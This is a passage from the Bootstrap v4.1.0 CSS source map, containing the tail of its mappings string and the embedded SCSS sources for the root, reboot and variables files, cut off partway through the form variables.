CE,cAAa;GACd;EACD;IACE,uBxElFS;GwEmFV;EAED;IACE,qCAAoC;GAMrC;EAPD;;IAKI,kCAAmC;GACpC;EAEH;;IAGI,qCAAsC;GACvC;CvE+mQN","file":"bootstrap.css","sourcesContent":["/*!\n * Bootstrap v4.1.0 (https://getbootstrap.com/)\n * Copyright 2011-2018 The Bootstrap Authors\n * Copyright 2011-2018 Twitter, Inc.\n * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE)\n */\n\n@import \"functions\";\n@import \"variables\";\n@import \"mixins\";\n@import \"root\";\n@import \"reboot\";\n@import \"type\";\n@import \"images\";\n@import \"code\";\n@import \"grid\";\n@import \"tables\";\n@import \"forms\";\n@import \"buttons\";\n@import \"transitions\";\n@import \"dropdown\";\n@import \"button-group\";\n@import \"input-group\";\n@import \"custom-forms\";\n@import \"nav\";\n@import \"navbar\";\n@import \"card\";\n@import \"breadcrumb\";\n@import \"pagination\";\n@import \"badge\";\n@import \"jumbotron\";\n@import \"alert\";\n@import \"progress\";\n@import \"media\";\n@import \"list-group\";\n@import \"close\";\n@import \"modal\";\n@import \"tooltip\";\n@import \"popover\";\n@import \"carousel\";\n@import \"utilities\";\n@import \"print\";\n",":root {\n // Custom variable values only support SassScript inside `#{}`.\n @each $color, $value in $colors {\n --#{$color}: #{$value};\n }\n\n @each $color, $value in $theme-colors {\n --#{$color}: #{$value};\n }\n\n @each $bp, $value in $grid-breakpoints {\n --breakpoint-#{$bp}: #{$value};\n }\n\n // Use `inspect` for lists so that quoted items keep the quotes.\n // See https://github.com/sass/sass/issues/2383#issuecomment-336349172\n --font-family-sans-serif: #{inspect($font-family-sans-serif)};\n --font-family-monospace: #{inspect($font-family-monospace)};\n}\n","// stylelint-disable at-rule-no-vendor-prefix, declaration-no-important, selector-no-qualifying-type, property-no-vendor-prefix\n\n// Reboot\n//\n// Normalization of HTML elements, manually forked from Normalize.css to remove\n// styles targeting irrelevant browsers while applying new styles.\n//\n// Normalize is licensed MIT. https://github.com/necolas/normalize.css\n\n\n// Document\n//\n// 1. Change from `box-sizing: content-box` so that `width` is not affected by `padding` or `border`.\n// 2. Change the default font family in all browsers.\n// 3. Correct the line height in all browsers.\n// 4. Prevent adjustments of font size after orientation changes in IE on Windows Phone and in iOS.\n// 5. Setting @viewport causes scrollbars to overlap content in IE11 and Edge, so\n// we force a non-overlapping, non-auto-hiding scrollbar to counteract.\n// 6. Change the default tap highlight to be completely transparent in iOS.\n\n*,\n*::before,\n*::after {\n box-sizing: border-box; // 1\n}\n\nhtml {\n font-family: sans-serif; // 2\n line-height: 1.15; // 3\n -webkit-text-size-adjust: 100%; // 4\n -ms-text-size-adjust: 100%; // 4\n -ms-overflow-style: scrollbar; // 5\n -webkit-tap-highlight-color: rgba($black, 0); // 6\n}\n\n// IE10+ doesn't honor `<meta name=\"viewport\">` in some cases.\n@at-root {\n @-ms-viewport {\n width: device-width;\n }\n}\n\n// stylelint-disable selector-list-comma-newline-after\n// Shim for \"new\" HTML5 structural elements to display correctly (IE10, older browsers)\narticle, aside, dialog, figcaption, figure, footer, header, hgroup, main, nav, section {\n display: block;\n}\n// stylelint-enable selector-list-comma-newline-after\n\n// Body\n//\n// 1. Remove the margin in all browsers.\n// 2. As a best practice, apply a default `background-color`.\n// 3. Set an explicit initial text-align value so that we can later use the\n// the `inherit` value on things like `<th>` elements.\n\nbody {\n margin: 0; // 1\n font-family: $font-family-base;\n font-size: $font-size-base;\n font-weight: $font-weight-base;\n line-height: $line-height-base;\n color: $body-color;\n text-align: left; // 3\n background-color: $body-bg; // 2\n}\n\n// Suppress the focus outline on elements that cannot be accessed via keyboard.\n// This prevents an unwanted focus outline from appearing around elements that\n// might still respond to pointer events.\n//\n// Credit: https://github.com/suitcss/base\n[tabindex=\"-1\"]:focus {\n outline: 0 !important;\n}\n\n\n// Content grouping\n//\n// 1. Add the correct box sizing in Firefox.\n// 2. Show the overflow in Edge and IE.\n\nhr {\n box-sizing: content-box; // 1\n height: 0; // 1\n overflow: visible; // 2\n}\n\n\n//\n// Typography\n//\n\n// Remove top margins from headings\n//\n// By default, `<h1>`-`<h6>` all receive top and bottom margins. We nuke the top\n// margin for easier control within type scales as it avoids margin collapsing.\n// stylelint-disable selector-list-comma-newline-after\nh1, h2, h3, h4, h5, h6 {\n margin-top: 0;\n margin-bottom: $headings-margin-bottom;\n}\n// stylelint-enable selector-list-comma-newline-after\n\n// Reset margins on paragraphs\n//\n// Similarly, the top margin on `<p>`s get reset. However, we also reset the\n// bottom margin to use `rem` units instead of `em`.\np {\n margin-top: 0;\n margin-bottom: $paragraph-margin-bottom;\n}\n\n// Abbreviations\n//\n// 1. Remove the bottom border in Firefox 39-.\n// 2. Add the correct text decoration in Chrome, Edge, IE, Opera, and Safari.\n// 3. Add explicit cursor to indicate changed behavior.\n// 4. Duplicate behavior to the data-* attribute for our tooltip plugin\n\nabbr[title],\nabbr[data-original-title] { // 4\n text-decoration: underline; // 2\n text-decoration: underline dotted; // 2\n cursor: help; // 3\n border-bottom: 0; // 1\n}\n\naddress {\n margin-bottom: 1rem;\n font-style: normal;\n line-height: inherit;\n}\n\nol,\nul,\ndl {\n margin-top: 0;\n margin-bottom: 1rem;\n}\n\nol ol,\nul ul,\nol ul,\nul ol {\n margin-bottom: 0;\n}\n\ndt {\n font-weight: $dt-font-weight;\n}\n\ndd {\n margin-bottom: .5rem;\n margin-left: 0; // Undo browser default\n}\n\nblockquote {\n margin: 0 0 1rem;\n}\n\ndfn {\n font-style: italic; // Add the correct font style in Android 4.3-\n}\n\n// stylelint-disable font-weight-notation\nb,\nstrong {\n font-weight: bolder; // Add the correct font weight in Chrome, Edge, and Safari\n}\n// stylelint-enable font-weight-notation\n\nsmall {\n font-size: 80%; // Add the correct font size in all browsers\n}\n\n//\n// Prevent `sub` and `sup` elements from affecting the line height in\n// all browsers.\n//\n\nsub,\nsup {\n position: relative;\n font-size: 75%;\n line-height: 0;\n vertical-align: baseline;\n}\n\nsub { bottom: -.25em; }\nsup { top: -.5em; }\n\n\n//\n// Links\n//\n\na {\n color: $link-color;\n text-decoration: $link-decoration;\n background-color: transparent; // Remove the gray background on active links in IE 10.\n -webkit-text-decoration-skip: objects; // Remove gaps in links underline in iOS 8+ and Safari 8+.\n\n @include hover {\n color: $link-hover-color;\n text-decoration: $link-hover-decoration;\n }\n}\n\n// And undo these styles for placeholder links/named anchors (without href)\n// which have not been made explicitly keyboard-focusable (without tabindex).\n// It would be more straightforward to just use a[href] in previous block, but that\n// causes specificity issues in many other styles that are too complex to fix.\n// See https://github.com/twbs/bootstrap/issues/19402\n\na:not([href]):not([tabindex]) {\n color: inherit;\n text-decoration: none;\n\n @include hover-focus {\n color: inherit;\n text-decoration: none;\n }\n\n &:focus {\n outline: 0;\n }\n}\n\n\n//\n// Code\n//\n\n// stylelint-disable font-family-no-duplicate-names\npre,\ncode,\nkbd,\nsamp {\n font-family: monospace, monospace; // Correct the inheritance and scaling of font size in all browsers.\n font-size: 1em; // Correct the odd `em` font sizing in all browsers.\n}\n// stylelint-enable font-family-no-duplicate-names\n\npre {\n // Remove browser default top margin\n margin-top: 0;\n // Reset browser default of `1em` to use `rem`s\n margin-bottom: 1rem;\n // Don't allow content to break outside\n overflow: auto;\n // We have @viewport set which causes scrollbars to overlap content in IE11 and Edge, so\n // we force a non-overlapping, non-auto-hiding scrollbar to counteract.\n -ms-overflow-style: scrollbar;\n}\n\n\n//\n// Figures\n//\n\nfigure {\n // Apply a consistent margin strategy (matches our type styles).\n margin: 0 0 1rem;\n}\n\n\n//\n// Images and content\n//\n\nimg {\n vertical-align: middle;\n border-style: none; // Remove the border on images inside links in IE 10-.\n}\n\nsvg:not(:root) {\n overflow: hidden; // Hide the overflow in IE\n}\n\n\n//\n// Tables\n//\n\ntable {\n border-collapse: collapse; // Prevent double borders\n}\n\ncaption {\n padding-top: $table-cell-padding;\n padding-bottom: $table-cell-padding;\n color: $table-caption-color;\n text-align: left;\n caption-side: bottom;\n}\n\nth {\n // Matches default `<td>` alignment by inheriting from the `<body>`, or the\n // closest parent with a set `text-align`.\n text-align: inherit;\n}\n\n\n//\n// Forms\n//\n\nlabel {\n // Allow labels to use `margin` for spacing.\n display: inline-block;\n margin-bottom: $label-margin-bottom;\n}\n\n// Remove the default `border-radius` that macOS Chrome adds.\n//\n// Details at https://github.com/twbs/bootstrap/issues/24093\nbutton {\n border-radius: 0;\n}\n\n// Work around a Firefox/IE bug where the transparent `button` background\n// results in a loss of the default `button` focus styles.\n//\n// Credit: https://github.com/suitcss/base/\nbutton:focus {\n outline: 1px dotted;\n outline: 5px auto -webkit-focus-ring-color;\n}\n\ninput,\nbutton,\nselect,\noptgroup,\ntextarea {\n margin: 0; // Remove the margin in Firefox and Safari\n font-family: inherit;\n font-size: inherit;\n line-height: inherit;\n}\n\nbutton,\ninput {\n overflow: visible; // Show the overflow in Edge\n}\n\nbutton,\nselect {\n text-transform: none; // Remove the inheritance of text transform in Firefox\n}\n\n// 1. Prevent a WebKit bug where (2) destroys native `audio` and `video`\n// controls in Android 4.\n// 2. Correct the inability to style clickable types in iOS and Safari.\nbutton,\nhtml [type=\"button\"], // 1\n[type=\"reset\"],\n[type=\"submit\"] {\n -webkit-appearance: button; // 2\n}\n\n// Remove inner border and padding from Firefox, but don't restore the outline like Normalize.\nbutton::-moz-focus-inner,\n[type=\"button\"]::-moz-focus-inner,\n[type=\"reset\"]::-moz-focus-inner,\n[type=\"submit\"]::-moz-focus-inner {\n padding: 0;\n border-style: none;\n}\n\ninput[type=\"radio\"],\ninput[type=\"checkbox\"] {\n box-sizing: border-box; // 1. Add the correct box sizing in IE 10-\n padding: 0; // 2. Remove the padding in IE 10-\n}\n\n\ninput[type=\"date\"],\ninput[type=\"time\"],\ninput[type=\"datetime-local\"],\ninput[type=\"month\"] {\n // Remove the default appearance of temporal inputs to avoid a Mobile Safari\n // bug where setting a custom line-height prevents text from being vertically\n // centered within the input.\n // See https://bugs.webkit.org/show_bug.cgi?id=139848\n // and https://github.com/twbs/bootstrap/issues/11266\n -webkit-appearance: listbox;\n}\n\ntextarea {\n overflow: auto; // Remove the default vertical scrollbar in IE.\n // Textareas should really only resize vertically so they don't break their (horizontal) containers.\n resize: vertical;\n}\n\nfieldset {\n // Browsers set a default `min-width: min-content;` on fieldsets,\n // unlike e.g. `<div>`s, which have `min-width: 0;` by default.\n // So we reset that to ensure fieldsets behave more like a standard block element.\n // See https://github.com/twbs/bootstrap/issues/12359\n // and https://html.spec.whatwg.org/multipage/#the-fieldset-and-legend-elements\n min-width: 0;\n // Reset the default outline behavior of fieldsets so they don't affect page layout.\n padding: 0;\n margin: 0;\n border: 0;\n}\n\n// 1. Correct the text wrapping in Edge and IE.\n// 2. Correct the color inheritance from `fieldset` elements in IE.\nlegend {\n display: block;\n width: 100%;\n max-width: 100%; // 1\n padding: 0;\n margin-bottom: .5rem;\n font-size: 1.5rem;\n line-height: inherit;\n color: inherit; // 2\n white-space: normal; // 1\n}\n\nprogress {\n vertical-align: baseline; // Add the correct vertical alignment in Chrome, Firefox, and Opera.\n}\n\n// Correct the cursor style of increment and decrement buttons in Chrome.\n[type=\"number\"]::-webkit-inner-spin-button,\n[type=\"number\"]::-webkit-outer-spin-button {\n height: auto;\n}\n\n[type=\"search\"] {\n // This overrides the extra rounded corners on search inputs in iOS so that our\n // `.form-control` class can properly style them. Note that this cannot simply\n // be added to `.form-control` as it's not specific enough. For details, see\n // https://github.com/twbs/bootstrap/issues/11586.\n outline-offset: -2px; // 2. Correct the outline style in Safari.\n -webkit-appearance: none;\n}\n\n//\n// Remove the inner padding and cancel buttons in Chrome and Safari on macOS.\n//\n\n[type=\"search\"]::-webkit-search-cancel-button,\n[type=\"search\"]::-webkit-search-decoration {\n -webkit-appearance: none;\n}\n\n//\n// 1. Correct the inability to style clickable types in iOS and Safari.\n// 2. Change font properties to `inherit` in Safari.\n//\n\n::-webkit-file-upload-button {\n font: inherit; // 2\n -webkit-appearance: button; // 1\n}\n\n//\n// Correct element displays\n//\n\noutput {\n display: inline-block;\n}\n\nsummary {\n display: list-item; // Add the correct display in all browsers\n cursor: pointer;\n}\n\ntemplate {\n display: none; // Add the correct display in IE\n}\n\n// Always hide an element with the `hidden` HTML attribute (from PureCSS).\n// Needed for proper display in IE 10-.\n[hidden] {\n display: none !important;\n}\n","// Variables\n//\n// Variables should follow the `$component-state-property-size` formula for\n// consistent naming. Ex: $nav-link-disabled-color and $modal-content-box-shadow-xs.\n\n\n//\n// Color system\n//\n\n// stylelint-disable\n$white: #fff !default;\n$gray-100: #f8f9fa !default;\n$gray-200: #e9ecef !default;\n$gray-300: #dee2e6 !default;\n$gray-400: #ced4da !default;\n$gray-500: #adb5bd !default;\n$gray-600: #6c757d !default;\n$gray-700: #495057 !default;\n$gray-800: #343a40 !default;\n$gray-900: #212529 !default;\n$black: #000 !default;\n\n$grays: () !default;\n$grays: map-merge((\n \"100\": $gray-100,\n \"200\": $gray-200,\n \"300\": $gray-300,\n \"400\": $gray-400,\n \"500\": $gray-500,\n \"600\": $gray-600,\n \"700\": $gray-700,\n \"800\": $gray-800,\n \"900\": $gray-900\n), $grays);\n\n$blue: #007bff !default;\n$indigo: #6610f2 !default;\n$purple: #6f42c1 !default;\n$pink: #e83e8c !default;\n$red: #dc3545 !default;\n$orange: #fd7e14 !default;\n$yellow: #ffc107 !default;\n$green: #28a745 !default;\n$teal: #20c997 !default;\n$cyan: #17a2b8 !default;\n\n$colors: () !default;\n$colors: map-merge((\n \"blue\": $blue,\n \"indigo\": $indigo,\n \"purple\": $purple,\n \"pink\": $pink,\n \"red\": $red,\n \"orange\": $orange,\n \"yellow\": $yellow,\n \"green\": $green,\n \"teal\": $teal,\n \"cyan\": $cyan,\n \"white\": $white,\n \"gray\": $gray-600,\n \"gray-dark\": $gray-800\n), $colors);\n\n$primary: $blue !default;\n$secondary: $gray-600 !default;\n$success: $green !default;\n$info: $cyan !default;\n$warning: $yellow !default;\n$danger: $red !default;\n$light: $gray-100 !default;\n$dark: $gray-800 !default;\n\n$theme-colors: () !default;\n$theme-colors: map-merge((\n \"primary\": $primary,\n \"secondary\": $secondary,\n \"success\": $success,\n \"info\": $info,\n \"warning\": $warning,\n \"danger\": $danger,\n \"light\": $light,\n \"dark\": $dark\n), $theme-colors);\n// stylelint-enable\n\n// Set a specific jump point for requesting color jumps\n$theme-color-interval: 8% !default;\n\n// The yiq lightness value that determines when the lightness of color changes from \"dark\" to \"light\". Acceptable values are between 0 and 255.\n$yiq-contrasted-threshold: 150 !default;\n\n// Customize the light and dark text colors for use in our YIQ color contrast function.\n$yiq-text-dark: $gray-900 !default;\n$yiq-text-light: $white !default;\n\n// Options\n//\n// Quickly modify global styling by enabling or disabling optional features.\n\n$enable-caret: true !default;\n$enable-rounded: true !default;\n$enable-shadows: false !default;\n$enable-gradients: false !default;\n$enable-transitions: true !default;\n$enable-hover-media-query: false !default; // Deprecated, no longer affects any compiled CSS\n$enable-grid-classes: true !default;\n$enable-print-styles: true !default;\n\n\n// Spacing\n//\n// Control the default styling of most Bootstrap elements by modifying these\n// variables. Mostly focused on spacing.\n// You can add more entries to the $spacers map, should you need more variation.\n\n// stylelint-disable\n$spacer: 1rem !default;\n$spacers: () !default;\n$spacers: map-merge((\n 0: 0,\n 1: ($spacer * .25),\n 2: ($spacer * .5),\n 3: $spacer,\n 4: ($spacer * 1.5),\n 5: ($spacer * 3)\n), $spacers);\n\n// This variable affects the `.h-*` and `.w-*` classes.\n$sizes: () !default;\n$sizes: map-merge((\n 25: 25%,\n 50: 50%,\n 75: 75%,\n 100: 100%,\n auto: auto\n), $sizes);\n// stylelint-enable\n\n// Body\n//\n// Settings for the `<body>` element.\n\n$body-bg: $white !default;\n$body-color: $gray-900 !default;\n\n// Links\n//\n// Style anchor elements.\n\n$link-color: theme-color(\"primary\") !default;\n$link-decoration: none !default;\n$link-hover-color: darken($link-color, 15%) !default;\n$link-hover-decoration: underline !default;\n\n// Paragraphs\n//\n// Style p element.\n\n$paragraph-margin-bottom: 1rem !default;\n\n\n// Grid breakpoints\n//\n// Define the minimum dimensions at which your layout will change,\n// adapting to different screen sizes, for use in media queries.\n\n$grid-breakpoints: (\n xs: 0,\n sm: 576px,\n md: 768px,\n lg: 992px,\n xl: 1200px\n) !default;\n\n@include _assert-ascending($grid-breakpoints, \"$grid-breakpoints\");\n@include _assert-starts-at-zero($grid-breakpoints);\n\n\n// Grid containers\n//\n// Define the maximum width of `.container` for different screen sizes.\n\n$container-max-widths: (\n sm: 540px,\n md: 720px,\n lg: 960px,\n xl: 1140px\n) !default;\n\n@include _assert-ascending($container-max-widths, \"$container-max-widths\");\n\n\n// Grid columns\n//\n// Set the number of columns and specify the width of the gutters.\n\n$grid-columns: 12 !default;\n$grid-gutter-width: 30px !default;\n\n// Components\n//\n// Define common padding and border radius sizes and more.\n\n$line-height-lg: 1.5 !default;\n$line-height-sm: 1.5 !default;\n\n$border-width: 1px !default;\n$border-color: $gray-300 !default;\n\n$border-radius: .25rem !default;\n$border-radius-lg: .3rem !default;\n$border-radius-sm: .2rem !default;\n\n$box-shadow-sm: 0 .125rem .25rem rgba($black, .075) !default;\n$box-shadow: 0 .5rem 1rem rgba($black, .15) !default;\n$box-shadow-lg: 0 1rem 3rem rgba($black, .175) !default;\n\n$component-active-color: $white !default;\n$component-active-bg: theme-color(\"primary\") !default;\n\n$caret-width: .3em !default;\n\n$transition-base: all .2s ease-in-out !default;\n$transition-fade: opacity .15s linear !default;\n$transition-collapse: height .35s ease !default;\n\n\n// Fonts\n//\n// Font, line-height, and color for body text, headings, and more.\n\n// stylelint-disable value-keyword-case\n$font-family-sans-serif: -apple-system, BlinkMacSystemFont, \"Segoe UI\", Roboto, \"Helvetica Neue\", Arial, sans-serif, \"Apple Color Emoji\", \"Segoe UI Emoji\", \"Segoe UI Symbol\" !default;\n$font-family-monospace: SFMono-Regular, Menlo, Monaco, Consolas, \"Liberation Mono\", \"Courier New\", monospace !default;\n$font-family-base: $font-family-sans-serif !default;\n// stylelint-enable value-keyword-case\n\n$font-size-base: 1rem !default; // Assumes the browser default, typically `16px`\n$font-size-lg: ($font-size-base * 1.25) !default;\n$font-size-sm: ($font-size-base * .875) !default;\n\n$font-weight-light: 300 !default;\n$font-weight-normal: 400 !default;\n$font-weight-bold: 700 !default;\n\n$font-weight-base: $font-weight-normal !default;\n$line-height-base: 1.5 !default;\n\n$h1-font-size: $font-size-base * 2.5 !default;\n$h2-font-size: $font-size-base * 2 !default;\n$h3-font-size: $font-size-base * 1.75 !default;\n$h4-font-size: $font-size-base * 1.5 !default;\n$h5-font-size: $font-size-base * 1.25 !default;\n$h6-font-size: $font-size-base !default;\n\n$headings-margin-bottom: ($spacer / 2) !default;\n$headings-font-family: inherit !default;\n$headings-font-weight: 500 !default;\n$headings-line-height: 1.2 !default;\n$headings-color: inherit !default;\n\n$display1-size: 6rem !default;\n$display2-size: 5.5rem !default;\n$display3-size: 4.5rem !default;\n$display4-size: 3.5rem !default;\n\n$display1-weight: 300 !default;\n$display2-weight: 300 !default;\n$display3-weight: 300 !default;\n$display4-weight: 300 !default;\n$display-line-height: $headings-line-height !default;\n\n$lead-font-size: ($font-size-base * 1.25) !default;\n$lead-font-weight: 300 !default;\n\n$small-font-size: 80% !default;\n\n$text-muted: $gray-600 !default;\n\n$blockquote-small-color: $gray-600 !default;\n$blockquote-font-size: ($font-size-base * 1.25) !default;\n\n$hr-border-color: rgba($black, .1) !default;\n$hr-border-width: $border-width !default;\n\n$mark-padding: .2em !default;\n\n$dt-font-weight: $font-weight-bold !default;\n\n$kbd-box-shadow: inset 0 -.1rem 0 rgba($black, .25) !default;\n$nested-kbd-font-weight: $font-weight-bold !default;\n\n$list-inline-padding: .5rem !default;\n\n$mark-bg: #fcf8e3 !default;\n\n$hr-margin-y: $spacer !default;\n\n\n// Tables\n//\n// Customizes the `.table` component with basic values, each used across all table variations.\n\n$table-cell-padding: .75rem !default;\n$table-cell-padding-sm: .3rem !default;\n\n$table-bg: transparent !default;\n$table-accent-bg: rgba($black, .05) !default;\n$table-hover-bg: rgba($black, .075) !default;\n$table-active-bg: $table-hover-bg !default;\n\n$table-border-width: $border-width !default;\n$table-border-color: $gray-300 !default;\n\n$table-head-bg: $gray-200 !default;\n$table-head-color: $gray-700 !default;\n\n$table-dark-bg: $gray-900 !default;\n$table-dark-accent-bg: rgba($white, .05) !default;\n$table-dark-hover-bg: rgba($white, .075) !default;\n$table-dark-border-color: lighten($gray-900, 7.5%) !default;\n$table-dark-color: $body-bg !default;\n\n$table-striped-order: odd !default;\n\n$table-caption-color: $text-muted !default;\n\n// Buttons + Forms\n//\n// Shared variables that are reassigned to `$input-` and `$btn-` specific variables.\n\n$input-btn-padding-y: .375rem !default;\n$input-btn-padding-x: .75rem !default;\n$input-btn-line-height: $line-height-base !default;\n\n$input-btn-focus-width: .2rem !default;\n$input-btn-focus-color: rgba($component-active-bg, .25) !default;\n$input-btn-focus-box-shadow: 0 0 0 $input-btn-focus-width $input-btn-focus-color !default;\n\n$input-btn-padding-y-sm: .25rem !default;\n$input-btn-padding-x-sm: .5rem !default;\n$input-btn-line-height-sm: $line-height-sm !default;\n\n$input-btn-padding-y-lg: .5rem !default;\n$input-btn-padding-x-lg: 1rem !default;\n$input-btn-line-height-lg: $line-height-lg !default;\n\n$input-btn-border-width: $border-width !default;\n\n\n// Buttons\n//\n// For each of Bootstrap's buttons, define text, background, and border color.\n\n$btn-padding-y: $input-btn-padding-y !default;\n$btn-padding-x: $input-btn-padding-x !default;\n$btn-line-height: $input-btn-line-height !default;\n\n$btn-padding-y-sm: $input-btn-padding-y-sm !default;\n$btn-padding-x-sm: $input-btn-padding-x-sm !default;\n$btn-line-height-sm: $input-btn-line-height-sm !default;\n\n$btn-padding-y-lg: $input-btn-padding-y-lg !default;\n$btn-padding-x-lg: $input-btn-padding-x-lg !default;\n$btn-line-height-lg: $input-btn-line-height-lg !default;\n\n$btn-border-width: $input-btn-border-width !default;\n\n$btn-font-weight: $font-weight-normal !default;\n$btn-box-shadow: inset 0 1px 0 rgba($white, .15), 0 1px 1px rgba($black, .075) !default;\n$btn-focus-width: $input-btn-focus-width !default;\n$btn-focus-box-shadow: $input-btn-focus-box-shadow !default;\n$btn-disabled-opacity: .65 !default;\n$btn-active-box-shadow: inset 0 3px 5px rgba($black, .125) !default;\n\n$btn-link-disabled-color: $gray-600 !default;\n\n$btn-block-spacing-y: .5rem !default;\n\n// Allows for customizing button radius independently from global border radius\n$btn-border-radius: $border-radius !default;\n$btn-border-radius-lg: $border-radius-lg !default;\n$btn-border-radius-sm: $border-radius-sm !default;\n\n$btn-transition: color .15s ease-in-out, background-color .15s ease-in-out, border-color .15s ease-in-out, box-shadow .15s ease-in-out !default;\n\n\n// Forms\n\n$label-margin-bottom: .5rem !default;\n\n$input-padding-y: $input-btn-padding-y !default;\n$input-padding-x: $input-btn-padding-x !default;\n$input-line-height: $input-btn-line-height !default;\n\n$input-padding-y-sm: $input-btn-padding-y-sm !default;\n$input-padding-x-sm: $input-btn-padding-x-sm !default;\n$input-line-height-sm: $input-btn-line-height-sm !default;\n\n$input-padding-y-lg: $input-btn-padding-y-lg !default;\n$input-padding-x-lg: $input-btn-padding-x-lg !default;\n$input-line-height-lg: $input-btn-line-height-lg !default;\n\n$input-bg: $white !default;\n$input-disabled-bg: $gray-200 !default;\n\n$input-color: $gray-700 !default;\n$input-border-color: $gray-400 !default;\n$input-border-width: $input-btn-border-width !default;\n$input-box-shadow: inset 0 1px 1px rgba($black, .075) !default;\n\n$input-border-radius: $border-radius !default;\n$input-border-radius-lg: $border-radius-lg !default;\n$input-border-radius-sm: $border-radius-sm !default;\n\n$input-focus-bg: $input-bg !default;\n$input-focus-border-color: lighten($component-active-bg, 25%) !default;\n$input-focus-color: $input-color !default;\n$input-focus-width: $input-btn-focus-width !default;\n$input-focus-box-shadow: $input-btn-focus-box-shadow !default;\n\n$input-placeholder-color: $gray-600 !default;\n$input-plaintext-color: $body-color !default;\n\n$input-height-border: $input-border-width * 2 !default;\n\n$input-height-inner: ($font-size-base * $input-btn-line-height) + ($input-btn-padding-y * 2) !default;\n$input-height: calc(#{$input-height-inner} + #{$input-height-border}) !default;\n\n$input-height-inner-sm: ($font-size-sm * $input-btn-line-height-sm) + ($input-btn-padding-y-sm * 2) !default;\n$input-height-sm: calc(#{$input-height-inner-sm} + #{$input-height-border}) !default;\n\n$input-height-inner-lg: ($font-size-lg * $input-btn-line-height-lg) + ($input-btn-padding-y-lg * 2) !default;\n$input-height-lg: calc(#{$input-height-inner-lg} + #{$input-height-border}) !default;\n\n$input-transition: border-color .15s ease-in-out, box-shadow .15s ease-in-out !default;\n\n$form-text-margin-top: .25rem !default;\n\n$form-check-input-gutter: 1.25rem !default;\n$form-check-input-margin-y: .3rem !default;\n$form-check-input-margin-x: .25rem !default;\n\n$form-check-inline-margin-x: .75rem !default;\n$form-check-inline-input-margin-x: .3125rem !default;\n\n$form-group-margin-bottom: 1rem !default;\n\n$input-group-addon-color: $input-color !default;\n$input-group-addon-bg: $gray-200 !default;\n$input-group-addon-border-color: $input-border-color !default;\n\n$custom-control-gutter: 1.5rem !default;\n$custom-control-spacer-x: 1rem !default;\n\n$custom-control-indicator-size: 1rem !default;\n$custom-control-indicator-bg: $gray-300 !default;\n$custom-control-indicator-bg-size: 50% 50% !default;\n$custom-control-indicator-box-shadow: inset 0 .25rem .25rem rgba($black, .1) !default;\n\n$custom-control-indicator-disabled-bg: $gray-200 !default;\n$custom-control-label-disabled-color: $gray-600 !default;\n\n$custom-control-indicator-checked-color: $component-active-color !default;\n$custom-control-indicator-checked-bg: $component-active-bg !default;\n$custom-control-indicator-checked-disabled-bg: rgba(theme-color(\"primary\"), .5) !default;\n$custom-control-indicator-checked-box-shadow: none !default;\n\n$custom-control-indicator-focus-box-shadow: 0 0 0 1px $body-bg, $input-btn-focus-box-shadow !default;\n\n$custom-control-indicator-active-color: $component-active-color !default;\n$custom-control-indicator-active-bg: lighten($component-active-bg, 35%) !default;\n$custom-control-indicator-active-box-shadow: none !default;\n\n$custom-checkbox-indicator-border-radius: $border-radius !default;\n$custom-checkbox-indicator-icon-checked: str-replace(url(\"data:image/svg+xml;charset=utf8,%3Csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 8 8'%3E%3Cpath fill='#{$custom-control-indicator-checked-color}' d='M6.564.75l-3.59 3.612-1.538-1.55L0 4.26 2.974 7.25 8 2.193z'/%3E%3C/svg%3E\"), \"#\", \"%23\") !default;\n\n$custom-checkbox-indicator-indeterminate-bg: $component-active-bg !default;\n$custom-checkbox-indicator-indeterminate-color: $custom-control-indicator-checked-color !default;\n$custom-checkbox-indicator-icon-indeterminate: str-replace(url(\"data:image/svg+xml;charset=utf8,%3Csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 4 4'%3E%3Cpath stroke='#{$custom-checkbox-indicator-indeterminate-color}' d='M0 2h4'/%3E%3C/svg%3E\"), \"#\", \"%23\") !default;\n$custom-checkbox-indicator-indeterminate-box-shadow: none !default;\n\n$custom-radio-indicator-border-radius: 50% !default;\n$custom-radio-indicator-icon-checked: str-replace(url(\"data:image/svg+xml;charset=utf8,%3Csvg xmlns='http://www.w3.org/2000/svg' viewBox='-4 -4 8 8'%3E%3Ccircle r='3' fill='#{$custom-control-indicator-checked-color}'/%3E%3C/svg%3E\"), \"#\", \"%23\") !default;\n\n$custom-select-padding-y: .375rem !default;\n$custom-select-padding-x: .75rem !default;\n$custom-select-height: $input-height !default;\n$custom-select-indicator-padding: 1rem !default; // Extra padding to account for the presence of the background-image based indicator\n$custom-select-line-height: $input-btn-line-height !default;\n$custom-select-color: $input-color !default;\n$custom-select-disabled-color: $gray-600 !default;\n$custom-select-bg: $input-bg !default;\n$custom-select-disabled-bg: $gray-200 !default;\n$custom-select-bg-size: 8px 10px !default; // In pixels because image dimensions\n$custom-select-indicator-color: $gray-800 !default;\n$custom-select-indicator: str-replace(url(\"data:image/svg+xml;charset=utf8,%3Csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 4 5'%3E%3Cpath fill='#{$custom-select-indicator-color}' d='M2 0L0 2h4zm0 5L0 3h4z'/%3E%3C/svg%3E\"), \"#\", \"%23\") !default;\n$custom-select-border-width: $input-btn-border-width !default;\n$custom-select-border-color: $input-border-color !default;\n$custom-select-border-radius: $border-radius !default;\n\n$custom-select-focus-border-color: $input-focus-border-color !default;\n$custom-select-focus-box-shadow: inset 0 1px 2px rgba($black, .075), 0 0 5px rgba($custom-select-focus-border-color, .5) !default;\n\n$custom-select-font-size-sm: 75% !default;\n$custom-select-height-sm: $input-height-sm !default;\n\n$custom-select-font-size-lg: 125% !default;\n$custom-select-height-lg: $input-height-lg !default;\n\n$custom-range-track-width: 100% !default;\n$custom-range-track-height: .5rem !default;\n$custom-range-track-cursor: pointer !default;\n$custom-range-track-bg: $gray-300 !default;\n$custom-range-track-border-radius: 1rem !default;\n$custom-range-track-box-shadow: inset 0 .25rem .25rem rgba($black, .1) !default;\n\n$custom-range-thumb-width: 1rem !default;\n$custom-range-thumb-height: $custom-range-thumb-width !default;\n$custom-range-thumb-bg: $component-active-bg !default;\n$custom-range-thumb-border: 0 !default;\n$custom-range-thumb-border-radius: 1rem !default;\n$custom-range-thumb-box-shadow: 0 .1rem .25rem rgba($black, .1) !default;\n$custom-range-thumb-focus-box-shadow: 0 0 0 1px $body-bg, $input-btn-focus-box-shadow !default;\n$custom-range-thumb-active-bg: lighten($component-active-bg, 35%) !default;\n\n$custom-file-height: $input-height !default;\n$custom-file-focus-border-color: 